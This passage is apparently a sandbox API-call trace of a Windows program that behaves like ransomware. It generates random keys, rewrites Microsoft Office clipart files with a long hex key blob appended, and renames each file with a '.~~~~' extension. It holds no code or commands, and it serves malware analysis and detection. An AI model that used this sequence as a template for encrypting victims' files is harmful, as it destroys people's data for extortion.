	[0091.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0091.650] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.650] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.650] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.650] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.650] CloseHandle (hObject=0x120) returned 1
	[0091.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.650] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.~~~~")) returned 1
	[0091.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.651] GetLastError () returned 0x0
	[0091.652] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.652] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.652] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.653] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21164266532) returned 1
	[0091.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa067c010, dwHighDateTime=0x1d60e1e)) 
	[0091.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386ed8
	[0091.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386ed8 | out: hHeap=0x300000) returned 1
	[0091.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385670
	[0091.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.653] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.653] GetLastError () returned 0x0
	[0091.653] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.653] GetLastError () returned 0x0
	[0091.655] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff5b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.655] WriteFile (in: hFile=0x120, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0xa4c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0xa4c, lpOverlapped=0x0) returned 1
	[0091.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0091.656] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.656] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.656] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.656] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.656] CloseHandle (hObject=0x120) returned 1
	[0091.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.656] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.~~~~")) returned 1
	[0091.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.657] GetLastError () returned 0x0
	[0091.657] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.658] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.658] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.658] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21164826304) returned 1
	[0091.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa06a2170, dwHighDateTime=0x1d60e1e)) 
	[0091.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386f10
	[0091.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386f10 | out: hHeap=0x300000) returned 1
	[0091.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x386120
	[0091.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.659] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.659] GetLastError () returned 0x0
	[0091.659] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.659] GetLastError () returned 0x0
	[0091.661] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffeaf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.661] WriteFile (in: hFile=0x120, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x1510, lpOverlapped=0x0) returned 1
	[0091.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0091.661] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.661] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.661] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.661] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.662] CloseHandle (hObject=0x120) returned 1
	[0091.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.662] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.~~~~")) returned 1
	[0091.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.662] GetLastError () returned 0x0
	[0091.663] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.664] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.664] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.664] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21165380937) returned 1
	[0091.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa06a2170, dwHighDateTime=0x1d60e1e)) 
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386f48
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386f48 | out: hHeap=0x300000) returned 1
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3861b8
	[0091.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.664] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.664] GetLastError () returned 0x0
	[0091.664] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.664] GetLastError () returned 0x0
	[0091.666] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff990, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.666] WriteFile (in: hFile=0x120, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x670, lpOverlapped=0x0) returned 1
	[0091.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0091.667] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.667] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.667] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.667] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.667] CloseHandle (hObject=0x120) returned 1
	[0091.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.~~~~")) returned 1
	[0091.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.668] GetLastError () returned 0x0
	[0091.668] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.669] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.669] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.669] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21165935824) returned 1
	[0091.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa06a2170, dwHighDateTime=0x1d60e1e)) 
	[0091.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386f80
	[0091.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386f80 | out: hHeap=0x300000) returned 1
	[0091.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x386250
	[0091.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.670] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.670] GetLastError () returned 0x0
	[0091.670] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.670] GetLastError () returned 0x0
	[0091.672] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff3c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.672] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xc38, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xc38, lpOverlapped=0x0) returned 1
	[0091.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.672] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.672] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.672] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.672] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.673] CloseHandle (hObject=0x120) returned 1
	[0091.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.673] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.~~~~")) returned 1
	[0091.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.673] GetLastError () returned 0x0
	[0091.674] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.675] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.675] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.675] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21166543444) returned 1
	[0091.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa06c82d0, dwHighDateTime=0x1d60e1e)) 
	[0091.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386fb8
	[0091.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386fb8 | out: hHeap=0x300000) returned 1
	[0091.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3862e8
	[0091.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.676] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.676] GetLastError () returned 0x0
	[0091.676] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.676] GetLastError () returned 0x0
	[0091.685] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffcd4b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.685] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x32b5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x32b5, lpOverlapped=0x0) returned 1
	[0091.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
